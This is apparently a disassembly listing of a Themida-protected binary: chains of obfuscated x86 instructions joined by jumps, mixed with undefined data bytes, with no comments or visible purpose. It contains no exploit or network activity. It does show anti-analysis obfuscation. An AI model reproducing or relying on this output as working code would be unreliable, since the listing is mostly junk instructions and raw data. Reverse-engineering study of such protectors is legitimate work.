		jmp	loc_56D4E8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF243C89h, 5F042474h, 8B24048Fh, 0A30F2424h, 0E99C2404h
		dd 0FFFFE73Dh, 24048F66h, 24048366h, 48F6602h, 0B1686624h
		dd 34896656h, 0B9665124h, 66500901h, 66F701B8h,	6658C689h
		dd 1335C681h, 68EE8166h, 0CE016679h, 68C68166h,	0BB665379h
		dd 31E9085Ah, 89000073h, 1055DEFh, 2D55FF2Dh, 42283EEFh
		dd 1F3A9005h, 37E1E92Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EC06:				; CODE XREF: Themida_:0056C527j
		mov	ebx, 85645Dh
		mov	edi, 6B263988h
		jmp	loc_5695EC
; ---------------------------------------------------------------------------
		db 0E9h, 0D3h, 0E6h
		dd 0EE81FFFFh, 166119B9h, 0DDE9CE01h
		db 28h,	1, 0
; ---------------------------------------------------------------------------


loc_55EC27:				; CODE XREF: Themida_:0056C56Aj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_56DA9F
; ---------------------------------------------------------------------------
		dd 0B860ACBEh, 0D3CE816Eh, 0E94E060Bh, 376h, 295EF231h
		dd 0BF575AD5h, 3D9D128Dh, 15FFD01h, 8DED81C5h, 813D9D12h
		dd 5842EBC5h, 8826E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EC66:				; CODE XREF: Themida_:0056A88Dj
		push	eax
		push	ecx
		push	27C73AA6h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		dec	ecx
		push	eax
		mov	eax, 71F604A5h
		jmp	loc_56ABC5
; ---------------------------------------------------------------------------
		dd 8BFE8959h, 0C481243Ch, 4, 6E8AE9h, 2EA8100h,	87000000h
		dd 248B2414h, 1628E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55ECAA:				; CODE XREF: Themida_:005695EEj
		pop	ebx
		shr	edi, 7
		and	edi, 39C76D80h
		push	edi
		jmp	loc_56CBED
; ---------------------------------------------------------------------------


loc_55ECBA:				; CODE XREF: Themida_:00560A89j
		mov	eax, 2CD20C94h
		add	edx, eax
		pop	eax
		add	edx, edi
		push	ebp
		mov	ebp, 2CD20C94h
		sub	edx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_566161
; ---------------------------------------------------------------------------
		dd 0C781D7F7h, 5E6F6801h, 93E9FB89h, 2DFFFFE8h,	222E254Ah
		dd 0FFFBF5E9h, 57F068FFh, 148B1E7Ch, 66ECE924h,	0E9550000h
		dd 20E1h
; ---------------------------------------------------------------------------


loc_55ED04:				; CODE XREF: Themida_:0056D8DAj
		mov	eax, esp
		push	edx
		mov	edx, 23755CABh
		add	edx, 0DC8AA359h
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_571C7E
; ---------------------------------------------------------------------------
		db 83h
		dd 685604C4h, 1787h, 371C68h, 0B9E95400h, 68000106h, 2972h
		dd 0BF243C89h, 56270417h, 56E9F909h, 5BFFFFECh,	3466EA81h
		dd 0C2814D24h, 690D0B47h, 0F9E9CA01h, 1000011h,	0BEE81C6h
		dd 8B740314h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56C7D1
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 5985E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ED7D:				; CODE XREF: Themida_:0056D83Ej
		pop	esp
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_55EA84
; ---------------------------------------------------------------------------
		dw 0D801h
aH4		db '[hф4',0
		align 2
		dw 2C89h
		dd 2C24BD24h, 0E9534772h, 0F0E8h, 0E7895757h, 4C781h, 0BE560000h
		dd 4, 0AB11E9h,	2636B800h, 60E93B7Dh, 2800001Ah, 5DF8E9EFh
		dd 4BB0000h, 0E9000000h, 6F08h
; ---------------------------------------------------------------------------


loc_55EDD0:				; CODE XREF: Themida_:0056BFB3j
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		jmp	loc_571676
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 427B7BA4h, 15AD029h,	7BA405D0h, 34FF427Bh, 2434FF24h
		dd 0A8CBE9h, 0C8B6600h,	0E2895224h, 4B951h, 0CA010000h
		dd 81240C8Bh, 4C4h, 1314E900h, 4870001h, 0EC815C24h, 4
		dd 0B3241C89h, 0E9CBFEB8h, 1121Fh, 133819BDh, 0D2F3E930h
		dd 0EE810000h, 74D440B1h, 0EDEE9h, 5AD72800h, 7A4BE9h
		dd 53EE0100h, 4D27ACBBh, 76C38132h, 1F9CE1Ah, 241C8BDEh
		dd 0E904C483h, 10B75h, 456A2D48h, 0C1015135h, 3505E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE72:				; CODE XREF: Themida_:005662DDj
		add	ecx, 30245DD1h
		pop	edx
		inc	ecx
		jmp	loc_55F233
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89562404h, 1CFE9E6h,	0D4BE0001h, 31121D7Fh, 0D3F75EF3h
		dd 0A82F381h, 0F38159C6h, 0E607E07Dh, 8B5BDE01h, 89502404h
		dd 405E0h, 4050000h, 87000000h,	685C2404h, 4D8Eh, 51240489h
		dd 0E76E955h, 0C1810001h, 4, 4C181h, 0C870000h,	24248B24h
		dd 105h, 53E40500h, 70E929DCh, 560000A4h, 42474FFh, 24048F5Eh
		dd 4B9515Ch, 1000000h, 18D0E9CDh, 8F540000h, 68522404h
		dd 4, 2454015Ah, 24148B04h, 4C481h, 34FF0000h, 0D21CE924h
		dd 815B0000h, 4C3h, 0BD555000h,	4DB7439Fh, 5155E9h, 5F62BA00h
		dd 5EE9462Dh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EF3B:				; CODE XREF: Themida_:00568CCBj
		pop	ecx
		sub	ebp, 40964D6Bh
		add	ebp, esi
		add	ebp, 40964D6Bh
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	eax, 1E446A67h
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 103F2D5Ch, 0C1017C36h, 8B2434FFh,	0C4812404h
		dd 4, 22C9E9h, 0B5BB5300h, 0E958A30Bh, 0EBB7h
; ---------------------------------------------------------------------------


loc_55EF88:				; CODE XREF: Themida_:00567554j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_560C63
; ---------------------------------------------------------------------------


loc_55EF93:				; CODE XREF: Themida_:0055DAE7j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56A99B
; ---------------------------------------------------------------------------
aMs		db '╛И%`',0
		dd 0C335F00h, 240C3124h, 0FFECE7E9h, 243C87FFh,	2350E95Ch
		dd 4E460000h, 449E9h, 4A96800h,	1C890000h, 0C09FB724h
		dd 0C7FE08EFh, 0C003EFC0h, 0E8E903E7h, 810000C2h, 45782404h
		dd 525F4FACh, 447EABAh,	0CC94E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFEE:				; CODE XREF: Themida_:0056A66Cj
		pop	ebx
		xor	ebp, 0B3B2985h
		not	ebp
		shr	ebp, 3
		push	6F5h
		mov	[esp], edi
		push	esi
		jmp	loc_567018
; ---------------------------------------------------------------------------


loc_55F008:				; CODE XREF: Themida_:00564178j
		mov	ebp, 29236692h
		add	esi, 15C30900h
		sub	esi, ebp
		sub	esi, 15C30900h
		pop	ebp
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_563B98
; ---------------------------------------------------------------------------


loc_55F02B:				; CODE XREF: Themida_:005659DCj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7642h
		jmp	loc_563716
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2C2C11B6h, 6B7EE281h, 0E2C11FB9h, 0D303E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F052:				; CODE XREF: Themida_:00568F83j
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56DCF4
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC815924h, 4, 89242C89h, 4C581E5h, 0E9000000h, 10965h
		dd 34E9D029h, 5BFFFFF0h, 8B2434FFh, 0C483240Ch,	4EC8304h
		dd 54240C89h, 0FD9BE959h, 91BB0000h, 81208874h,	716289EBh
		dd 0E9DBF7E1h, 56D7h, 405h, 40500h, 4870000h, 14315C24h
		dd 24143324h, 8B241431h, 0C483240Ch, 240C3104h,	31240C33h
		dd 6E9240Ch, 81FFFFE2h,	926375C5h, 0DDED8161h, 8B063871h
		dd 0C4832404h, 4EC8304h, 0E9243489h, 0A607h
; ---------------------------------------------------------------------------


loc_55F104:				; CODE XREF: Themida_:00565FE2j
		push	7A7Eh
		mov	[esp], edi
		jmp	loc_566C4D
; ---------------------------------------------------------------------------


loc_55F111:				; CODE XREF: Themida_:00564E03j
		pop	edi
		or	eax, edi
		pop	edi
		jmp	loc_56C1CC
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 71B7EE81h, 0C681170Ah, 1716929Ah, 335EF301h,	1C31241Ch
		dd 241C3324h, 6624248Bh, 9C2424D3h, 0FFE1ACE9h,	4C483FFh
		dd 68h,	2434FF00h, 0FF2434FFh, 815B2434h, 4C4h,	5FF96800h
		dd 1C890000h, 0CE3FE924h, 0C870000h, 6BB5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F16E:				; CODE XREF: Themida_:0055F8F5j
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_5633EE
; ---------------------------------------------------------------------------
		dd 0FFE9C9FEh, 0D20000B8h, 0E99C2424h, 0FFFFE165h, 0FD0031B7h
		dd 8B2434FFh, 0C481241Ch, 4, 5E08950h, 4, 405h,	24048700h
		dd 0EA88525Ch, 50D58851h, 0C388E888h, 240C8B58h, 0FFE1B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F1BD:				; CODE XREF: Themida_:005707D4j
		pop	ebx
		add	ebp, 73C132EBh
		sub	ebp, edx
		sub	ebp, 73C132EBh
		pop	edx
		jmp	loc_5688A9
; ---------------------------------------------------------------------------


loc_55F1D2:				; CODE XREF: Themida_:0056F681j
		push	eax
		push	edi
		jmp	loc_568B28
; ---------------------------------------------------------------------------


loc_55F1D9:				; CODE XREF: Themida_:005614A2j
		pop	esi
		jmp	loc_55E3DE
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD3h, 4C481h, 66580000h, 0E924148Bh, 13400h, 240C8B66h
		dd 0B22BE9h, 0A2C58100h, 89FB2128h, 57F9E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F20A:				; CODE XREF: Themida_:0056ECF2j
		push	edx
		jmp	loc_56B0BD
; ---------------------------------------------------------------------------
		dd 1070EB81h, 0EB0114EFh, 0A2E5E957h, 0E9890000h, 81242C8Bh
		dd 4C4h, 78A26800h, 0C1E90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F233:				; CODE XREF: Themida_:0055EE7Aj
		xchg	esi, ecx
		jmp	loc_55FD33
; ---------------------------------------------------------------------------
		dw 2966h
		dd 8B665FF8h, 0C4832434h, 4EC8102h, 0E9000000h,	8958h
; ---------------------------------------------------------------------------


loc_55F250:				; CODE XREF: Themida_:0056F17Fj
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_569F5A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815F24h, 4, 0AE04E997h, 815B0000h, 4C3h, 4C38300h
		dd 4EB2E9h, 0D03EB300h,	97CB80EBh, 0C012F380h, 0C38007EBh
		dd 5BDC2899h, 0E980ACB1h, 0F382E9F4h, 34FF0000h, 240C8B24h
		dd 8104C483h, 4C4h, 4EC8300h, 55241C89h, 79111FBDh, 23CD8168h
		dd 0E95AB17Eh, 0FFFFE49Ch, 98087668h, 0B763E960h, 0C4810000h
		dd 4, 5E3C14Bh,	0B595C381h, 0DA0104DEh,	0F0E0E95Bh, 2489FFFFh
		dd 4EC8324h, 0E9242C89h, 0D90Ah, 0E9C1D9F7h, 0C1814107h
		dd 0DECC474Eh, 63BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F305:				; CODE XREF: Themida_:00567AD5j
		xchg	edx, [esp]
		jmp	loc_55D9C6
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 53241489h, 2DEFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F319:				; CODE XREF: Themida_:0056A9A7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_565239
; ---------------------------------------------------------------------------
		dd 242C875Bh, 243C895Ch, 0A814F068h, 8FE95F76h,	580000E1h
		dd 19B4E950h, 0E4B80001h, 19AFB9Ah, 0EC815EF0h,	4, 52240C89h
		dd 0D62716BAh, 0A2D8E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F36E:				; CODE XREF: Themida_:005670ACj
		add	eax, 4A9527BBh
		sub	eax, 74131809h
		jmp	loc_560402
; ---------------------------------------------------------------------------


loc_55F37D:				; CODE XREF: Themida_:005729ACj
		push	esi
		push	325h
		mov	[esp], edi
		jmp	loc_56637A
; ---------------------------------------------------------------------------
		db 1
		dd 0F6815FFEh, 236E6FB9h, 0E95EF201h, 71ABh, 6F7AC681h
		dd 0F729E749h, 6B68505Eh, 58127E3Ah, 0A327B235h, 0E9C72972h
		dd 0F3DFh, 607A40B8h, 4C65E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F3C2:				; CODE XREF: Themida_:0055D60Cj
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_562CDA
; ---------------------------------------------------------------------------
a_sef		db '_И┘f',0
		dw 5000h
		dd 0FFF735E9h, 3FC381FFh, 0E97F8A6Fh, 0FFFFEA03h, 41BA525Dh
		dd 816E8575h, 0E44DDDE2h, 6E2C14Eh, 10172E9h, 4C48300h
		dd 286268h, 2D55E900h, 0D6F70000h, 2465F681h, 0F789F000h
		dd 0E1C4E95Eh, 0C301FFFFh, 7F1E958h, 1C890000h,	687DB724h
		dd 433Ah, 88240489h, 0D68BE9FCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F436:				; CODE XREF: Themida_:00560CECj
		sub	eax, 2DB044C6h
		add	eax, 20AD30ECh
		add	eax, ecx
		sub	eax, 20AD30ECh
		add	eax, 2DB044C6h
		pop	ecx
		xor	eax, [esp]
		jmp	loc_5728D5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 0EA6804C4h, 89000064h, 5066241Ch,	0DCE95152h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F46F:				; CODE XREF: Themida_:0055D2F6j
		add	edi, 4
		jmp	loc_570B64
; ---------------------------------------------------------------------------
		dw 8153h
		dd 4ECh, 1388E900h, 0E9530000h,	12E76h
; ---------------------------------------------------------------------------


loc_55F48C:				; CODE XREF: Themida_:00565DCDj
		push	4F947BBAh
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 5
		xor	ebx, 0F5374366h
		mov	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 14780286h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1A314554h
		push	ebx
		mov	ebx, 0EAC11924h
		add	esi, ebx
		pop	ebx
		add	ebx, 632D725Ch
		sub	ebx, esi
		jmp	loc_56EC66
; ---------------------------------------------------------------------------
		dd 72C281h, 0E2814933h,	3D39455Eh, 13421E9h, 2474FF00h
		dd 243C8B04h, 1B17E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F4F5:				; CODE XREF: Themida_:0055F932j
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 624F644Ch
		jmp	loc_56FC79
; ---------------------------------------------------------------------------
		db 1
		dd 535058C3h, 0CCF8E9h,	99E95200h, 31000036h, 4EC83C3h
		dd 0BF243C89h, 42657ECDh, 3C8BFA01h, 4C48324h, 6718BB53h
		dd 0BD5537DEh, 24C3031Fh, 815DEB09h, 0A563FEF3h, 0C3814B79h
		dd 0BC91250Fh, 31E9DA29h, 54000043h, 0F0C7E9h, 50E28800h
		dd 0EC81D488h, 4, 944CE9h, 0B2B45000h, 88DFF480h, 0EB2858E5h
		dd 0AEE95966h, 87000059h, 895C2414h, 38E9242Ch,	0F700002Ch
		dd 0B4EA81DAh, 890B0A49h, 0BAE95AD7h
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F58F:				; CODE XREF: Themida_:0057112Fj
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_56B52B
; ---------------------------------------------------------------------------
		dw 0F000h
		dd 54E95A66h, 89FFFFEEh, 4C281E2h, 81000000h, 4C2h, 3BEE900h
		dd 34890001h, 635BBE24h, 0F03126B8h, 45612D5Eh,	592D5070h
		dd 144432Bh, 77E957F8h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F5DF:				; CODE XREF: Themida_:00565D1Ej
		and	al, bh
		jmp	loc_560A6B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4, 0DF2DE9h,	925BB00h, 0D3F729E9h, 4B03E3C1h, 123E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F601:				; CODE XREF: Themida_:0055F6C5j
		pop	ebx
		push	ecx
		jmp	loc_56CE47
; ---------------------------------------------------------------------------
		dd 0DB13E959h, 80BE0000h, 1D1DDFCh, 24348BF7h, 0CAE9h
		dd 5DEA0100h, 5F4168h, 243C8900h, 2BFh,	8BFA0100h, 0E952243Ch
		dd 0F57Dh
; ---------------------------------------------------------------------------


loc_55F638:				; CODE XREF: Themida_:0056378Aj
		add	esp, 4
		sub	dword ptr [esp+4], 59FF69A1h
		add	dword ptr [esp+4], 5EF37C5Dh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 5EF37C5Dh
		add	dword ptr [esp+4], 59FF69A1h
		pop	eax
		mov	eax, [esp]
		jmp	loc_57008E
; ---------------------------------------------------------------------------
aRsij		db 'RИi├',0
		dd 0F3BA5200h, 291BAD00h, 0F3815AD3h, 77FA189Fh, 729568h
		dd 243C8900h, 7F52A5BFh, 5FFB31F2h, 1C8BDA31h, 0E3A3E924h
		dd 0C380FFFFh, 0E1B551C3h, 2DE9EB00h, 66000077h, 5024048Bh
		dd 24048B54h, 95B6E9h, 243C3300h, 9371E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F6BD:				; CODE XREF: Themida_:00562A7Fj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_55F601
; ---------------------------------------------------------------------------


loc_55F6CA:				; CODE XREF: Themida_:00561483j
		mov	ebp, eax
		pop	eax
		jmp	loc_56A3B7
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 50E18924h, 9E2BFDB8h, 0D4070567h, 6FE99861h,	8300004Eh
		dd 572D04C4h, 1562D13h,	135705F8h, 15F562Dh, 7B1C2DF0h
		dd 0BB532FA5h, 7381A14h, 0FFF681E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F709:				; CODE XREF: Themida_:005658A2j
		add	esp, 4
		push	3FA4h
		jmp	loc_570FA6
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 0E9FB0158h, 12028h, 296E681h, 0CE811DE9h, 238D207Eh
		dd 0DD06C681h, 0F301DC72h, 1E7AE9h, 8BD02900h, 0C4812414h
		dd 4, 18E0B951h, 0E9C1201Ch, 9FC18108h,	123AB1Fh, 240C8BC8h
		dd 4C481h, 0D0F70000h, 8BB9E9h,	61BA5200h, 81494B51h, 1EAh
		dd 87FA8700h, 0E9D1F7CFh, 0FBDBh
; ---------------------------------------------------------------------------


loc_55F77C:				; CODE XREF: Themida_:0056582Fj
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_572773
; ---------------------------------------------------------------------------
aUPEtsm		db 'U╫▐{┘tИMй',0
		dw 8300h
		dd 0C8904ECh, 81E18924h, 4C1h, 4EC8300h, 89240C89h, 4BF57E1h
		dd 81000000h, 0C36A97C1h, 1EC1812Eh, 15FE15Fh, 1EE981F9h
		dd 0E95FE15Fh, 6B76h, 0BE243489h, 4, 515EF101h,	42474FFh
		dd 81240C8Bh, 4C4h, 24048F00h, 8324248Bh, 2C8904ECh, 6653BD24h
		dd 6C0144F3h, 815D0424h, 31872404h, 4810F28h, 0AE099724h
		dd 24040172h, 997BE56h,	742972AEh, 348B0424h, 4C48124h
		dd 0E9000000h, 12C7Eh, 0E9243C33h, 12052h, 66D82966h, 6625102Dh
		dd 81241C8Bh, 2C4h, 5F545700h, 4C781h, 0EF830000h, 74FF5702h
		dd 8F5F0424h, 248B2404h, 0DFEDE924h, 0BD55FFFFh, 4AF0466Fh
		dd 8D23E9h, 0E9525300h,	56F8h, 0E904EB83h, 4A97h, 9D15F681h
		dd 0F389830Bh, 0D07BE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F87E:				; CODE XREF: Themida_:00564508j
		push	edi
		mov	edi, 28BD6708h
		not	edi
		not	edi
		sub	edi, 0D6DF9F33h
		jmp	loc_565486
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 9DEA8104h, 0E99D9EACh, 482Ch, 4E5EEB81h
		dd 0D7E920BEh, 8B00010Ch, 24D32424h, 0DA33E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F8BA:				; CODE XREF: Themida_:0056E9CBj
		xor	eax, 10886h
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	39BEh
		jmp	loc_571004
; ---------------------------------------------------------------------------
		db 29h,	0DFh, 81h
		dd 472010C7h, 0EEF7E941h, 815FFFFFh, 4C7h, 28B85000h, 0E97A2017h
		dd 0C708h
; ---------------------------------------------------------------------------


loc_55F8F4:				; CODE XREF: Themida_:005682DEj
		pop	ecx
		jmp	loc_55F16E
; ---------------------------------------------------------------------------
		dw 0E9C0h
		dd 16E98006h, 0C005E1C0h, 536606E1h, 88CE8852h,	0D7F65AF7h
		dd 8904EC83h, 88522404h, 0ECE5E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F91E:				; CODE XREF: Themida_:005725CDj
		pop	eax
		or	ebp, 550314B2h
		push	356Fh
		mov	[esp], ecx
		mov	ecx, 3F903986h
		jmp	loc_55F4F5
; ---------------------------------------------------------------------------
		db 29h
		dd 0EF60E9F0h, 565D0000h, 0B4DBE9h, 240C8900h, 0C1802FB1h
		dd 0FDA6E979h, 34FF0000h, 0C4835924h, 0D98FE904h, 8951FFFFh
		dd 4C181E1h, 83000000h,	0C8704C1h, 33A8E924h, 0F2810000h
		dd 97F88626h, 64ED68h, 243C8900h, 0F989D789h, 24148B5Fh
		dd 8104C483h, 0E6A489E9h, 59C82911h, 0CEF9E953h, 0C2830000h
		dd 45786804h, 14890000h, 2474FF24h, 48F5A04h, 0CC79E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F9B2:				; CODE XREF: Themida_:00568287j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56050E
; ---------------------------------------------------------------------------


loc_55F9C0:				; CODE XREF: Themida_:0056B9FAj
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		push	4
		mov	edi, [esp]
		add	esp, 4
		add	edx, 22E93CD9h
		add	edx, edi
		sub	edx, 22E93CD9h
		jmp	loc_567CC2
; ---------------------------------------------------------------------------


loc_55F9EC:				; CODE XREF: Themida_:00568AE8j
		pop	ebp
		jmp	loc_56CE5E
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 824BBF93h, 895DEA89h, 0E9AE9D5h, 0E94E0001h,	0FFFFFD18h
		dd 83241C8Bh, 0C38104C4h, 4, 8904EC83h,	68532404h, 1D051F91h
		dd 69BD555Bh, 810C692Fh, 6B2A33E5h, 0A9F5811Eh,	571B4456h
		dd 0B2354BFh, 5FFD0974h, 0FFEBE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA42:				; CODE XREF: Themida_:00566C80j
		push	dword ptr [edi+eax*4]
		push	eax
		push	37C6h
		mov	[esp], edi
		mov	edi, 125E1FDBh
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 113924ABh
		jmp	loc_572803
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E99C241Ch, 9CC7h, 0E958C629h, 0FFFFEEADh, 5C241433h
		dd 240C8B66h, 8904EC83h, 0E389241Ch, 272EE955h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55FA8A:				; CODE XREF: Themida_:0056664Bj
		mov	ebx, 1D74EE7h
		sub	esi, 6EC56333h
		add	esi, ebx
		add	esi, 6EC56333h
		pop	ebx
		push	edx
		push	ebx
		mov	ebx, 4CB21933h
		jmp	loc_570918
; ---------------------------------------------------------------------------


loc_55FAAA:				; CODE XREF: Themida_:0056EF3Aj
		shl	edi, 2
		add	edi, 459014E0h
		or	edi, 5683CD3h
		jmp	loc_56A539
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4ECh, 57F1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FACA:				; CODE XREF: Themida_:0056B3C1j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1E296B0Dh, 6C07CB81h, 0D3F71BD0h, 0EBC1DBF7h, 81D3F707h
		dd 561B5FF3h, 5BDE010Bh, 685EF129h, 5473h, 0FF240C89h
		dd 0FF042474h, 0C8B2434h, 4C48324h, 51E78957h, 332CFCB9h
		dd 7E9C14Bh, 99ABC181h,	0CF01FF69h, 11098E9h, 1C96800h
		dd 815A1D2Bh, 0A9667DF2h, 4EC8106h, 89000000h, 22BE2434h
		dd 290E683Dh, 0E8E95EF2h, 0FF000022h, 669D1C77h, 24041058h
		dd 0D79FE99Ch, 248BFFFFh, 2424D324h, 0D8B9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB5A:				; CODE XREF: Themida_:0056A7FAj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5711BA
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EDC108E5h, 0F2B85006h, 5750C348h, 7C092DBFh, 0E7DE924h
		dd 0DBF60000h, 804DC380h, 0E38042F3h, 0E6C380A8h, 71E9DD28h
		dd 87000128h, 248B2434h, 24048724h, 0D74FE95Ch,	0E95EFFFFh
		dd 0B90Ah, 7FEF70B9h, 59CB01FAh, 2EA1E981h, 0D9016810h
		dd 17EEE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FBBA:				; CODE XREF: Themida_:0056E1B3j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, 47893CCFh
		jmp	loc_5638C3
; ---------------------------------------------------------------------------


loc_55FBD8:				; CODE XREF: Themida_:00562641j
		xor	esi, ebp
		pop	ebp
		shl	esi, 4
		or	esi, 64185614h
		jmp	loc_564679
; ---------------------------------------------------------------------------
		db 0B9h, 8Dh, 29h
		dd 0F1814763h, 679C4CD5h, 0E7E9CF89h, 47000084h, 66B5E9h
		dd 55E95000h, 5A0000FCh, 8904EC83h, 81E9242Ch, 5E00003Ah
		dd 31241C33h, 1C33241Ch, 24248B24h, 9C242CD2h, 3931E9h
		dd 5AE7BD00h, 0E5D15266h, 636ED81h, 0DDF7405Eh,	0D6ED8145h
		dd 0E97A6711h, 2BFDh
; ---------------------------------------------------------------------------


loc_55FC44:				; CODE XREF: Themida_:00571ACBj
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 0
		push	ebp
		mov	ebp, 92346D6h
		neg	ebp
		add	ebp, 31266923h
		add	ebp, 0F1DC48ADh
		add	eax, ebp
		jmp	loc_56FD27
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24048904h, 4EC81h, 24890000h, 4B85024h
		dd 1000000h, 58042444h,	24D66858h, 0C890000h, 0F0BD5524h
		dd 0B97B9872h, 7B9872F4h, 4282C181h, 0E9295850h, 4282E981h
		dd 15D5850h, 2434FFC8h,	0CC0E9h, 241C8900h, 3B02E2BBh
		dd 5BD88936h, 0D54AAB35h, 99DFE97Ch, 27680000h,	89000070h
		dd 0CBBE2434h, 0E94E0D3Dh, 0FFFFD7D4h, 2957C681h, 0EE81036Ah
		dd 1F8A832Fh, 815EF701h, 0DA1D80E7h, 5BC7811Fh,	81604DFDh
		dd 0B0F9FEEh, 5081E96Ch, 0C8FE0000h, 0DDDFE9h, 82E94700h
		dd 33000022h, 248B2414h, 66C33124h, 0CEE9008Fh,	81FFFFD5h
		dd 136B7EEEh, 95C68146h, 15A5944h, 2E95EF0h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD33:				; CODE XREF: Themida_:0055F235j
		inc	esi
		xchg	esi, ecx
		shl	ecx, 5
		push	4C4Ah
		mov	[esp], ebp
		mov	ebp, 0CBDA57B0h
		add	ecx, ebp
		jmp	loc_5699A4
; ---------------------------------------------------------------------------
		db 0B8h, 82h, 4Bh
		dd 11050FA2h, 0F736A90Bh, 36E22DD8h, 0D8F717A7h, 0C85BD42Dh
